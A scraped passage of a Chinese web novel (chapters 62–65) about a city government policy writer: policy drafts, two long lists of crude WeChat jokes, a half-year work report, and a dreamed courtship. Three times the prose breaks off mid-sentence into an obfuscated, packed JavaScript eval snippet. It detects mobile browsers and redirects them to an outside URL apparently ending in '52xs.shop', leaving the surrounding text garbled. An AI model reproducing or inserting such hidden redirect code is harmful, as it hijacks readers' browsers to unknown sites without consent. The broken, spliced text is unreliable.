1．4，大力发展生态旅游业。旅游业是生态、环保、绿色产业，又称“无烟产业”。滨河旅游业要充分展示“黄河明珠、山水风光、丝路重镇、水车之都”的自然风光和人文景观，继续建设以航道开发、河堤构筑、路桥建设、绿化亮化、景观再造五位一体的百里黄河旅游风情线，着力打造¨¨¨山风景名胜区、¨¨¨关文化苑、青城高原古镇、¨¨¨田园风光旅游区及¨¨¨沟和¨¨¨沟自然风光旅游区等精品景点，建设以滨河为中心的旅游经济圈。 2，大力开发资源回收和再利用产业 2．1，逐步建立废物分类回收循环利用体系。培养市民自觉分拣、分类投放废物垃圾意识，在社区、公共场所等设立废物分类回收设施，废品回收和再生资源企业定期拉运回收，进入循环经济企业再利用。整合现有的各级各类废品回收和再生资源企业组织，试点推广再生资源合作社，做大做强废物分类回收循环利用产业。 2．2，推广屋顶水的再利用技术。采用屋顶接水的办法，净化处理、集蓄、贮藏屋顶水，循环利用天然降水（雪）资源。全市城市屋顶面积按40%利用，可达400万平方米，按年正常降水量260毫米计算，年可利用屋顶水约1000万吨以上。 2．3，大力开发钢渣、粉煤灰的回收加工利用产业。充分回收加工利用冶金工业钢渣、粉煤灰等下角料、废料，重点开发生产钢渣、粉煤灰空心砖和保温节能墙砖，使它们成为物美价廉、市场广阔的优质建筑（墙体）材料产品。 2．4，大力推广工业余热、余压和中水的循环利用。特别是冶金和大化工等用水、用热量特大的企业和产业，要改造和装备收集、处理、循环利用余热、余压和中水的技术及设备，节约能源和资源。 62. 第 62 章 第六十二章再探底线 3，大力保护生态环境，积极发展生态环保产业 3．1，加强生态林业工程建设。坚持管好现有林、扩大新造林、抓好退耕还林和各项重点林业工程。力争到2010年森林覆盖率达到15%以上，城区人均绿地面积达到11.06平方米，累计水土流失治理面积达到5340平方公里。重点构建主城区南北两山绿色屏障。规划建设城市外环道路100里园林绿化长廊。 3．2，大力推广城市楼顶绿化。要大力推广城市楼顶绿化，绿化美化净化城市环境。力争到“十一五”末全市城市楼顶绿化面积达到可绿化楼顶面积的30%，即180万平方米，到2015年达60%，即360万平方米，到2020年达80%，即480万平方米。 3．3，加强黄河滨河段水污染综合治理。完成¨¨¨污水处理厂和¨¨¨污水处理厂设备配套管网改造建设，新建¨¨¨、¨¨¨污水处理厂和县区级污水处理厂。到2010年我市污水处理能力将达到日均80万立方米。同时做好¨¨¨河、¨¨¨河、¨¨¨河和¨¨¨河黄河支流流域的水污染防治工作。通过综合整治，使滨河市饮用水源地一级保护区地面水环境质量标准Ⅰ类水质标准，黄河滨河段水质由2003年的Ⅱ类达到Ⅰ类。 3．4，实行农副产品清洁进城，减少城市生活垃圾。结合发展农村农副产品冷藏保鲜运输等加工业，对进城入市的各类蔬菜要进行清洗、分拣、简易包装等，尽量减少肥土、泥沙、残枝落叶，减少城市生活垃圾，降低运销成本。 3．5，加强环境保护。继续以防治城区大气污染为重点，全面实施“123”清洁工程，从2005年开始，一年内完成公交车天然气改造，将现有2600辆公交运营车辆全部实行油改气，两年内完成所有出租车的油改气，将全市6500多辆出租车全部实行油改气，三年完成全市燃煤锅炉清洁能源改造，将现有1107台（5337蒸吨）燃煤锅炉全部实行煤改气。完成¨¨¨热供热管网的东扩北展和¨¨¨热电厂西热东输工程建设，扩大集中连片供热。整治工业、交通、建筑施工和社会生活噪声。提高固废物品处理能力，加强对重点企业工业渣场监督管理工作和医疗废物的集中处置。到2010年空气质量达到国家空气质量二级标准。城区噪声平均值低于56分贝，城市生活污水处理率不低于70%。重点污染源工业废水、废气排放达标率95%，重点污染源自动在线监控率大于80%，有毒有害垃圾100%集中分类处理，一般工业垃圾综合利用率达到80%以上，处置率达到90%。同时要解决农用生产资料对环境造成的内源性污染和农村生活垃圾面源污染。并加强对337处滑坡、泥石流重点地质灾害隐患点的预防，加强安全生产管理。 4，保障措施 4．1，加强宣传，提高认识，搞好规划指导。开展滨河发展循环经济大讨论、大力宣传。用循环经济理念指导“十一五”规划的编制，搞好循环经济发展专题规划，加强对全市发展循环经济的宏观指导。 4．2，大力示范微观循环经济试点，在企业内部建立小循环。选择滨河高新技术产业开发区、滨河经济技术产业开发区和新建的滨河北大川空港循环经济园区3个开发区，以及50户有条件的企业为循环经济试点单位，推行清洁生产、ISO14000环境管理体系认证，按照生态效率的理念和清洁生产的要求，采用生态设计和现代技术，将单位产品的各项消耗和污染物排放量限定在先进标准许可的范围内，实现企业内部的资源综合利用和循环利用。 4．3，大力推广中观循环经济系统，在行业建立线上的中循环。分行业制定并实行引导标准，优化产业和产品结构调整。运用生态经济原理，根据行业间的关联，通过物质、能量和信息集成，拉长和扩大生态工业产业链，形成下一个及多个行业组成的生态园区，推进园区中的各个主体形成互补互动、共生共利的有机产业链网，转变经济增长方式，走新型工业化道路。 4．4，大力发展宏观循环经济体系，在社会领域建立面上的大循环。以循环经济理念为指导，以开展系列创建活动为载体，以建设循环型社会为目标，稳步扎实地推进社会层面上的循环链接，在社会各行业、产业间建立生态产业体系，倡导生态文明，打造环境友好型产业群，逐步建成循环型社会，实现经济社会协调发展。 4．5，实行科学管理考核，推进工作任务落实。结合滨河实际，围绕“创业、实干、打硬仗，建设创业型城市”和“提前、升位、两位数”的总目标，力争到2014年把滨河基本建设成经济繁荣、人民富裕、环境优美、社会文明的全面小康城市。试点建立和实行扣除环境成本的绿色GDP指标体系及其目标管理考核、重点循环经济工程建设监督考核，强化科学的政绩考核体系建设。 4．6，促进循环经济立法，依法推进循环经济发展。建议市委、市人大出台《关于全市大力发展循环经济的决定》，制定《新能源和可再生能源开发利用条例》、《城市垃圾分类回收管理办法》、《固体废物处理实施办法细则》等地方法规，推进生产、销售、使用、回收利用过程中固体废物的减量化、资源化、无害化。 4．7，完善制度建设，建立健全促进循环经济发展的保障体系。市委、市政府要建立梯级水价、市场环境准入、环境容量有偿使用、保障生态用水、治污资金筹措、会议调度、依法管理、综合决策、责任追究等制度，用制度保证循环经济发展。 4．8，健全政策激励机制，推动循环经济逐步向高档次、高水平迈进。市委、市政府要制定产业结构调整、节约资源、扶持发展生态经济等激励政策，各级政府要把发展循环经济资金列入本级预算，并逐年按一定比例增长，要在标准引导、科技支撑、战略环评、环境监管、监测、监察、信息等方面下功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475214|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫。 作者简介：¨¨¨” 第二天，在单位上班时间，达恩豪正坐着在电脑上写一篇材料，突然，“滴滴滴”，手机接受到发来信息的提示音这样响了几下，同时，感觉到自己的右裤腿侧面，也微微震动了几下。 达恩豪停下手中的活儿，从自己的右裤兜里掏出手机，赶紧点亮，解锁打开，果真显示，有人给自己发来了一条微信。再点开一看，又是隔壁办公室的大腮帮子眼镜巴其平发来的。 这微信又是一大段子，还比较长，内容如下： “1.老鼠一发威，大家都是病猫。 2.和一MM争论鲸鱼是不是鱼，最后我说‘日本人也带个人字’，她这才同意鲸鱼不是鱼。 3.男人膝下有黄金，我把整个腿都切下来了，连块铜也没找着！ 4.春天我把玉米埋在土里，到了秋天我就会收获很多玉米。春天我把老婆埋在土里，到了秋天我就会¨¨¨被枪毙！ 5.如果你看到面前的阴影，别怕，那是因为你的背后有阳光！ 6.踏遍青楼人未老，请用汇仁肾宝。 7.听君一席话，省我十本书！ 8.0岁出场亮相，10岁天天向上。20岁远大理想，30岁发奋图强。40岁基本定向，50岁处处吃香。60岁打打麻将，70岁处处闲逛。80岁拉拉家常，90岁挂在墙上！ 9.脱了衣服我是禽兽，穿上衣服我是衣冠禽兽！ 10.师太，你就从了老衲吧！¨¨¨很久很久以后¨¨¨师太，你就饶了老衲吧！ 11.‘亲爱的，我¨¨¨我怀孕了¨¨¨三个月了，不过你放心，不是你的，不用你负责¨¨¨’ 12.我们产生一点小分歧：她希望我把粪土变黄金，我希望她视黄金如粪土。 13.读10年语文，不如聊半年□□。 14.早晨懒床，遂从口袋里掏出6枚硬币：如果抛出去六个都是正面，我就去上课！思躇良久，还是算了，别冒这个险了¨¨¨ 15.我花8万买了个西周陶罐，昨儿到《鉴宝》栏目进行鉴定，专家严肃地说：‘这哪是西周的？这是上周的！’ 16.我能容忍身材是假的，脸是假的，胸是假的，臀是假的！！！但就是不容忍钱是假的！！！！ 17.士为知己者装死，女为悦己者整容。 18.长大了要嫁给唐僧，能玩就玩，不能玩就把他吃掉。 19．一山不能容二虎，除非一公和一母。 20.千万别等到人人都说你丑时才发现自己真的丑。 21.如果朋友可以出卖，每个值五块的话，我也能发笔小财了。 22.征婚启事：要求如下，A活的，B女的。 23.给点阳光我就腐烂。 24.要适当吃一点，才有劲减肥啊。 25.摇啊摇，摇到奈何桥。 63. 第 63 章 第六十三章亚当被拒 26.命运负责洗牌，但是玩牌的是我们自己！ 27.问：你喜欢我哪一点？答：我喜欢你离我远一点！ 28.你快回来，我一人忽悠不来！ 29.生活就像宋祖德的嘴，你永远都不知道下一个倒霉的会是谁¨¨¨ 30.跌倒了，爬起来再哭¨¨¨ 31.世界上难以自拔的，除了牙齿，还有爱情。 32.一恐龙路过西安交大时上了趟厕所，出来后她呜咽道：“555，这辈子终于不愁嫁不出去了¨¨¨” 33.生，容易。活，容易。生活，不容易。 34.吾表兄，年四十余。始从文，连考三年而不中。遂习武，练武场上发一矢，中鼓吏，逐之出。改学医，自撰一良方，服之，卒。 35.问君能有几多愁，恰似一群太监上青楼¨¨¨ 36.吾生也有涯，而吃也无涯¨¨¨ 37.想污染一个地方有两种方法：垃圾，或是钞票！ 38.年轻的时候，我们常常冲着镜子做鬼脸；年老的时候，镜子算是扯平了。 39.你瞎了眼啊？这么大的盾牌你看不见，偏偏要把石头朝我脑袋上扔！ 40.出问题先从自己身上找原因，别一便秘就怪地球没引力。 41.拍脑袋决策，拍胸脯保证，拍屁股走人。 42.我们走得太快，灵魂都跟不上了¨¨¨ 43.不要和地球人一般见识¨¨¨ 44.女孩从处女到女人只要一次并成功，男孩从处男变男人需要反复的磨练！ 45.出来混，老婆迟早是要换的！ 46.小时候我以为自己长大后可以拯救整个世界，等长大后才发现整个世界都拯救不了我¨¨¨ 47.有钱的都是大爷！但是欠钱不还的更是！ 48.我就算是一只癞蛤蟆，我也决不娶母癞蛤蟆。 49.生前何必久睡，死后自会长眠¨¨¨ 50.不想当厨子的裁缝，不是好司机。” “嘿嘿嘿！”达恩豪越看越失笑，不禁失音笑了起来。笑得前仰后合，笑得眼泪花花在眼眶里打转儿，笑得倒不过气来，笑得直不起腰来了！ 达恩豪停住笑声，收住笑容，在这条微信下面的输入框里，点了三个赞，三个竖起的大拇指的表情图标，发送过去给大腮帮子眼镜巴其平。关机，装上手机。重新爬到电脑前面，盯着屏幕，手下敲敲打打地，又开始忙乎材料了。 下午下班，达恩豪从单位回到家里，老婆黄爱佳早已做好了晚饭，今天主食纠的是白面尕面片子，里面打了两个合苞蛋，饭里调了洋芋片片，葱花调料盐醋，青油炝锅，副食是一个冷盘，凉拌小白菜丝，醋盐波青油，炝菜。虽然是家常饭菜，但也活色生香。 达恩豪陪着老婆黄爱佳吃过饭后，老婆黄爱佳收拾碗筷，拿到厨房洗锅涮碗去了，达恩豪打开电视机，翻到中央一台，看新闻联播。一会儿，老婆黄爱佳干完厨房里的活儿，出来和老公一齐坐在靠北墙的三人沙发上，两个人一块看电视。新闻联播看完了，再翻到爱看的频道，追了两集电视连续剧，看完关机，休息。 白天在单位上班，天天是写材料，不是材料，就是材料，消耗太大，不是体力消耗大，而是脑力消耗大，脑细胞成亿上兆地死亡，不是身体太累，而是心太累了，精神太疲惫了。这不，达恩豪躺在床上，一闭眼，马上就看见周公了，面前花蝴蝶乱飞¨¨¨ 这小伙儿在单位上班，坐在办公室里，心猿意马的，啥活也不想干，啥书也看不进去。下午还五点半过了，还不到六点钟，就收拾办公桌，想着下班了。走到办公室门口，用右手拧着门锁把手，转多半圈，往外走，把门拉严关上，再把门锁把手缓缓放松多半圈，再从腰间取下一串钥匙链儿，捡出一把来，插入门锁的锁孔里，拧上多半圈，把门从外面锁好了，溜吧。 转身从三楼楼道，蹑手蹑脚，轻轻走到楼梯口，从三楼一转圈一转圈再一转圈，就偷偷下到了一楼，悄悄走到一楼大厅里，摸到自己熟悉的那辆自行车，从身上摸出一把黄色的车钥匙，先压住了自行车锁的锁铛，再钥匙孔里插下钥匙，这么一拧，压着车锁铛的手感觉到了，车锁已开，但缓缓地放开锁铛，以防“哐铛”作响，被人瞧见了。 从单位大楼出来，骑上自行车，达恩豪往县城中心进发，进了县食品公司熟悉的大院，把自行车停下支起来锁好，装好钥匙就进了这美女家的门。 不到半个小时，这小伙儿了这美女，吃完了晚饭，就出了这大院东北角房间的门，不用下台阶，在台阶上向西，来到隔壁的隔壁，挂“副经理室”门牌的一间办公室里，一对年轻男女，又在这里开始幽会了。 在密闭的房间里，在夜晚的灯光下，这小伙儿和这美女，不一会儿，就甜蜜幸福地粘在了一起。 一对青年异性，坐在了一起，两双炽热的手拉到了一齐，然后是相拥相抱，爱的如胶似漆，爱抚的摸索在身上。不久，两张热烈的嘴相亲相吻，对接粘贴到一起了。 一双异性男女，这时，已甜蜜幸福地好成了一个人。 这相拥相抱兴奋激动的这小伙儿和这美女，不能自已！这亲吻刺激愉快的这小伙儿和这美女，不能自拔！ 这小伙儿陶醉在这甜蜜幸福里，这美女也陶醉在这甜蜜幸福里！ 一会儿，这小伙儿不安分的手，摸索着就要往这美女的身前来了，从这美女的前面衣襟下面，像一条蛇一样，滑了进去。 这美女猛然睁开了眼睛，马上惊醒了，身子一抖，同时，一只手立即回到身前，“啪”这么一下把这条就要钻进裤腰里的“蛇头“，从这蛇的“七寸”处，也就是这小伙儿的手腕上抓住了，用力拉了出来！ “哐哐哐！”¨¨¨ ¨¨¨ 第二天在单位上班，达恩豪坐在电脑前，正在写一个材料，“滴滴滴！”响了几下，是自己的手机接受到信息的提示音，达恩豪掏出手机，点亮，解锁，打开来看，又是隔壁大腮帮子眼镜巴其平发来的一条微信，再点一细看，又是段子，而且好长，几十条内容，具体如下： “1.时间是最好的老师，但遗憾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483320|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是——最后他把所有的学生都弄死了。 2.去西安出差的路上，一位大连老兄一阵狂吹大连多好多好，然后说大连建市一百周年的时候举行了很隆重的庆祝活动云云，然后问了旁边一人：‘西安建市一百周年有什么庆祝活动没有？’旁边几位西安的哥们一愣，过了一会儿，逼出一句话来：‘我记得西安建市600年的时候搞了一个‘烽火戏诸侯’吧¨¨¨’ 3．钻石恒久远，一颗就破产！ 4.和谐校园里，骑自行车的也许是位博导，而开奔驰的则可能是个后勤¨¨¨ 5.是金子，总会花光的；是镜子，总会反光的¨¨¨ 6.我女友不当尼姑的原因是她四级没过，庵里不收。 7.明星脱一点就能更出名，我脱的光光的却被抓起来了！ 8.看一漂亮MM,苦无搭讪办法，路旁一砖头，拣起，上前，“同学，这是你掉的吧？” 9.小时候的梦想并不是要当什么科学家，幻想自己是地主家的少爷，家有良田千顷，终日不学无术，没事领着一群狗奴才上街去调戏一下良家少女¨¨¨ 10.别和我谈理想，戒了！ 11.玫瑰你的，巧克力你的，钻石你的。你，我的！ 12.所谓惊喜就是你苦苦等候的兔子来了，后面跟着狼！ 13.什么是幸褔？幸福就是猫吃鱼狗吃肉，奥特曼打小怪兽！ 14.俩农夫吹牛：‘俺们农场的鸡，吃的都是茶叶，下的全是茶叶蛋’‘有嘛啊，咱农场给鸡吃钱包，让它下荷包蛋。’ 15.蟑螂都不怕蟑螂药了，我们却连维生素都搞不定！ 16.长个包子样就别怨狗跟着！ 17.男人偷腥时的智商仅次于爱因斯坦！ 18.为中华而努力读书！一包中华好多钱啊¨¨¨ 19.如果你不能给你的女人穿上嫁衣，那么千万别停下你解开她衣扣的手！ 20.别以为穿着脏衣服就可以做污点证人；别以为穿着木制拖鞋就可以做木屐证人¨¨¨ 21.事业是国家的，荣誉是单位的，成绩是领导的，工资是老婆的，财产是孩子的，错误是自己的。 22.凤凰重生就是涅盘，野鸡重生就是尸变。 23.如果有一天我变成流氓，请告诉别人，我纯真过¨¨¨ 24.老子不但有车，还是自行的¨¨¨ 25.女人拥有无数个□□号只为了调戏一个男人，男人常用一个□□号上面加满各种各样的女人¨¨¨ 26.偶然看见书上所谓的当代女子择偶标准：‘有车有房，父母双亡。’郁闷。遂写下幻想中的选妻标准：‘家中财产过亿，美貌天下第一，贤惠温柔性感，岳父癌症晚期¨¨¨’ 27.大部分人一辈子只做三件事：自欺、欺人、被人欺。 28.睡眠是一门艺术——谁也无法阻挡我追求艺术的脚步！ 29.为了避免家庭暴力，于是我决定不结婚！ 30.你可以像猪一样的生活，但你永远都不能像猪那样快乐！ 64. 第 64 章 第六十四章夏娃无意 31.迅雷不及掩耳盗铃，以不变应万变不离其宗，成事不足挂齿，此物最相思风雨中，一屋不扫何以扫天下无敌，东边日出西边雨一直下，举头望明月几时有，呆若木鸡毛当令箭，杀鸡焉用牛刀小试，锋芒毕露春光，围魏救赵宝奎，Verygoodbye，八格牙鲁冰花，一泻千里共婵娟¨¨¨ 32.某女的一篇博客日记：某月某日，大醉而归，伸手一摸——手机和贞操都在，睡觉！ 33.又美丽、又纯洁、又温柔、又性感、又可爱的处女，就像鬼魂一样，男人们都在谈论它，但从来没有人亲眼见过¨¨¨ 34.记得小学老师骂我：‘我一巴掌把你踢出去！’当时我想笑却不敢笑。现在，是敢笑却不会笑了¨¨¨ 35.如果幸福是浮云，如果痛苦似星辰。那我的生活真是万里无云，漫天繁星¨¨¨ 36.避孕的效果：不成功，便成‘人’。 37.孤单是一个人的狂欢，狂欢是一群人的孤单。 38.这世上最累的事情，莫过于眼睁睁看着自己的心碎了，还得自己动手把它粘起来。 39.人生的悲惨在于：辛辛苦苦的作了一晚上内容香艳的美梦，第二天早上醒来居然全都记不起来了！ 40.父亲问我人生有什么追求？我回答金钱和美女，父亲凶狠的打了我的脸；我回答事业与爱情，父亲赞赏的摸了我的头。 41.男人都好色，色心稍强一点叫色狼，再强一点叫色鬼，更加强就叫色魔，尤其强那就成了变态色魔，好色到了极致，被称作人体美学艺术家。 42.记得刚毕业不久的一天，女友给我发了一条短信：‘我们还是分手吧！’我还没来得及伤心呢，女友又发来一条：‘对不起，发错了。’这下可以彻底伤心了¨¨¨ 43.此地禁止大小便，违者没收工具。 44.在街上看美女，目光高一点就是欣赏，目光低一点就是流氓。 45.孩儿他娘，咱这辈子还有很多事要做呢，别耽误功夫和我玩捉迷藏了，赶紧蹦出来吧¨¨¨ 46.女人一生喜欢两朵花：一是有钱花，二是尽量花！ 47.一炮走红——是形容女艺人的¨¨¨ 48.这个世界不公平就在于：上帝说：‘我要光！’于是有了白天。美女说：‘我要钻戒！’于是她有了钻戒。富豪说：‘我要女人！’于是他有了女人。我说：‘我要洗澡！’居然停水了！ 49.真不明白，女孩买很多很多漂亮衣服穿，就是为了吸引男孩的目光，但男孩想看的，却是不穿衣服的女孩。 50.偶尔幽生活一默你会觉得很爽，但生活幽你一默就惨了¨¨¨” “嘿嘿嘿！”达恩豪看完了隔壁办公室里，城市发展研究处副处长大腮帮子眼镜巴其平发来的段子，好好笑呀！失笑得他浑身乱颤，闭眼裂嘴，笑得眼睛都睁不开了，一对嘴角直接拉到了耳岔门上，失笑得面红耳赤，口水都流出来了，身体前仰后合，几乎气都喘不上来了，需要停下来休息歇一会才好。 点赞点赞点赞，达恩豪一连输入三个竖着的大拇指，又键入“感谢你带来的快乐！”，一揌输入框旁边的“发送”键，这么就给大腮帮子眼镜巴其平回过去一条微信了。 达恩豪赶紧收拾情绪，心里平静下来，恢复正常状态，重新开始干活，高兴完了工作样照做，任务一个也跑不掉，继续写他的没完没了的材料，材料，材料！ 这个材料还没有写完，活儿又来了，工作任务又来了，不过是一个小任务而矣。单位秘书处送过来一个领导批办的文件，达恩豪接过一看，是一个“全市今年农民工工作联席会议的工作要点”征求意见的，上面有金学盛主任批示，“请恩豪同志办理”。 达恩豪放下手头的活儿，用不到半天时间，也就个把小时功夫，研究细读《工作要点》文本，思考，小菜一碟，下午就把修改意见写出来了，交给金学盛主任同意，发电子版交由秘书处套红头盖公章上报。这材料比较简单，具体内容如下： “《滨河市农民工工作联度会议2008年工作要点》 修改意见 1、农民工工资保证金覆盖率现在是多少，底子要摸清，今年要争取达到多少，用工单位通过农民工银行卡发放工资的覆盖率是多少，应提出量化指标。 2、农民工工资最低标准目前是多少，要统计和调查清楚，2008年争取达到多少，要提出具体的目标。 3、在摸清农民工劳动合同签约率的基础上，要提出经过今年的努力，争取达到什么量化目标。 4、严厉打击违反《劳动合同法》的行为，对不及时依法签订和履行劳动合同的用工单位，要依法进行处理，建议对因用工单位原因而没有及时签订劳动合同的，已形成实际劳动关系的，应视同为已签订劳动合同。 二OO八年七月一日” 事儿都挤到了块儿了，一个小任务小材料刚干完，还没有开始干其他活儿，紧急工作又来了。一会儿，单位秘书处又下来通知了，说是今天是“七一”节了，半年时间已过了，要求各处尽快上交今年上半年的工作总结及下半年的计划，时间是本周五下午五点前交到单位秘书处，一式四份纸质版，连同电子版一并上报。 今天是星期三了，两天时间很紧张的。达恩豪接到通知后，就马上停下手中的活儿，暂时撂下手头这个材料。回头再在电脑了整经济发展研究处今年上半年的工作及下半年工作打算。他查查找找，翻翻看看，想一想，琢磨琢磨，电脑上写一写，用了多半天时间，就弄出一份本处室今年上半年的工作及下半年计划。共写了4页约1800多字，自己用心费脑子写的，所以他记得清楚，大致内容如下不会错的： “2008年上半年工作总结 经济处 （2008年7月2日） 过去的半年里，在中心领导班子的正确领导下，在各处室的大力支持和协助下，经过全处同志的共同努力，我处各项工作都取得了明显进展，圆满完成了年初确定的主要工作目标和中心领导交办的各项任务，为中心总体工作目标的实现做出了积极贡献。现将上半年工作总结如下： 党建方面：一是为了推进中心党支部党务管理的规范化和信息化，完成了单位党组织及党员基本信息管理系统的信息录入工作，已按照要求上报市直机关工委，并在所有单位中率先通过了审查验收。二是根据中心党支部安排，精心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491965|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备，认真参加了十七大报告专题辅导学习会，交流发言了题为《以十七大精神为指针，坚定不移走滨河特色新型工业化道路》、《以科学发展观为指导，进一步优化滨河经济结构》和《以十七大精神为指针，促进滨河现代农业又好又快发展》的课题。 材料撰写方面：一是起草全市2007年经济运行分析报告，报告对2007年全市工农业生产、消费品市场、财政金融、固定资产投资、社会事业及民生问题进行了总体判断，概括了全市经济运行中值得关注的五个“压力加大”问题，并就2008年全市经济发展面临的形势进行了预测。最后，就促进2008年全市经济发展从经济运行调节、增长方式转变、工业经济发展、新农村建设、投资结构调整、市场建设及各项体制机制改革等七个方面提出了政策性建议。二是起草全国人代会期间滨河代表团备用材料：1.《河陇风电产业发展现状及请求国家给予支持的建议》，建议在详细分析甘肃风电产业发展前景的基础上，从气候条件适宜、效益产出明显，地理条件优越、交通运输方便，风能资源丰富、开发前景广阔等三个方面阐述了河陇风电产业发展现状，指出了风电产业服务体系有待加强、风电技术研发和设备制造能力不强及现有电网输配能力不足等三个方面甘肃风电产业发展中存在的主要问题，最后，结合河陇实际提出了加强电网输配能力、促进风电设备制造国产化、加快建立和完善风电产业服务体系及严格落实促进风能产业发展政策等几个方面的建议。2.《关于新能源资源利用问题的建议》，建议就西部地区及河陇省和滨河市的新能源资源利用现状及存在的问题进行了分析，提出了将资源优势转化为经济优势、解决边远地区和广大农村地区能源消费问题及大力吸引民间和国外投资等三个方面的建议。3.《关于请求国家立项扶持建设滨河空港循环经济产业基地的建议》，建议在详细介绍滨河空港循环经济产业基地建设的基础条件和规划布局的基础上，就目前基地建设进展情况从优惠政策、招商引资项目建设和发展前景等三个方面进行了阐述，提出了请求国家将滨河空港循环经济产业基地列入国家级试点，对产业基地在政策和项目资金上给予大力扶持的建议。三是从现实基础、维护企业和社会稳定工作及文字表述上对《滨河市深化企业改革与加快发展规划》提出了具体修改意见。四是从农民工工资保证金覆盖率、农民工工资最低标准、《劳动合同法》的实施及农民工劳动合同签约率等几个方面对《滨河市农民工工作联席会议2008年工作要点》提出了具体修改意见。五是起草了在全省市州政府研究室主任座谈会上的致辞和在全省市州政府研究室主任座谈会招待晚宴上的致辞。六是起草《加快滨河物流产业发展研究报告》提纲，提纲共分八个部分：滨河物流业发展现状、滨河物流业发展的总体思路、出城入园打造东部城区物流基地、科学规划构建现代物流产业新体系、完善城市社区消费品市场建设新机制、健全充实全市商业服务网点、滨河物流业发展的关键措施及扶持滨河物流业发展的政策要点。目前，提纲仍在进一步修改之中。七是起草《大力发展循环经济，积极推进节能减排》的对策建议，建议从发展循环经济的战略重点、资源回收和再利用产业及保障措施等方面进行了详细的阐述。 65. 第 65 章 第六十五章心意相通 其他工作，一是搜集编纂《2007年经济社会政策选编》的相关资料，共搜集各类政策文件53个，其中：中央政策14个，省级政策7个，市级政策32个；综合经济政策3个，三农政策13个，工业经济政策2个，节能减排政策8个，城市建设政策3个，财政税收政策2个，社会事业政策10个，民生保障政策12个。二是为了办好在滨河举行的全省市州政府研究室主任座谈会，参与赴乌铁、镍城考察小组，学习办会经验。三是积极参加市直机关工委组织的第六届滨河市直属机关运动会。四是经常性加强“三库”建设，使我处“三库”资料更加丰富。五是开展《滨河平安社区建设调查研究》课题的验收准备工作。六是认真完成了中心领导交办的其他工作。 下一步工作重点：一是在近期尽快搜集资料，完成全市上半年经济运行分析报告和加快滨河物流产业发展研究课题报告的起草。二是根据单位年初确定的各项工作任务，认真完成课题研究、材料撰写、会务组织及其他工作。” 下午下班，达恩豪回到家中，老婆黄爱佳在家里等他回家吃饭，晚饭早就做好了。是家常便饭，西红柿鸡蛋面片子，不但闻着香，还挺好看的，红的西红柿一瓣一瓣，上下翻滚，绿绿的葱花青油炝的，在上面漂着，白色的尕面片一页一页，像鱼一样，凭它在大海里飞跃，任它在里面逍遥游，粗茶淡饭，也是色香味鲜，人见人爱人馋，花见花开花艳。 达恩豪馋虫立即就被勾上来了，端起印花白瓷碗，拿着一双筷子，捡了碗里的饭食，不管是捡到的面片子，还是鸡蛋花，或是葱花，都往嘴巴里送，都喜欢吃，都吃得满口生香，一嘴地爽快。 “咯！”吃完了饭，这恩豪不禁打了个饱嗝儿，吃多了点儿，活动一下，就帮着老婆黄爱佳收拾碗筷碟子，拿到厨房里去，让老婆黄爱佳去洗涮，自己出来打开电视机，压到中央一台看新闻联播，一边看电视，一边在客厅地上，一转一转地走圈子，消消食，防积食消化不良。 一会儿，老婆黄爱佳洗锅涮碗把厨房收拾停当了，脱下深蓝色的围裙，走过来坐到沙发上，陪着都老公达恩豪一齐看电视。看完了新闻联播换到其他台上追电视连续剧，追完电视连续剧关了电视休息。 达恩豪躺在床上，白天费脑子写材料，比较劳累，眼睛也疲劳，大脑更疲惫，所以，很快就进入了梦乡…… 这小伙儿在单位上班，心不在焉，一直心里挂念着县城里面的这美女，长眉细眼的商店服务员姑娘，那个第一次被自己拉手，拥抱，爱抚，亲吻的轻年女孩子，在心田里埋下了颗种子，爱情的良种，发了芽，生了根，出了苗，现在开始疯狂地生长了！ 爱情的树苗，在这个二十五六岁青年的心里，渴望了多少年了，多么渴望绽放美丽温馨的爱情之花，无比渴望结出甜蜜幸福的果实！自己主动追求的这个细眉长眼单眼皮的仿唐美女，虽然也自己当初的想象有不小的差距，但人品不错，职业也行，日久生情，也算是梦中的小情人，真命小天女，心意的小女神！ 就在兰原县医院门口的县糖酒副食第三门市部里，正在三尺柜台里面忙活的那个年轻服务员，细眉长眼的美女，也等了二十四五年的时间，同样渴望着爱情的甜蜜幸福，心里在渴望一个英俊高大的白马王子，成为自己的男朋友，恩爱一生！ 这小伙儿主动送上门来，在这细眉长眼丹凤眼的美女心里，也算是准白马王子，因为与自己心目中的理想男对象，也还有不小的距离，通过这一段时间的相互接触，深入地了解，培养感情还真不是说得，也看上了这个小伙儿了，基本认定为自己的男朋友了！ 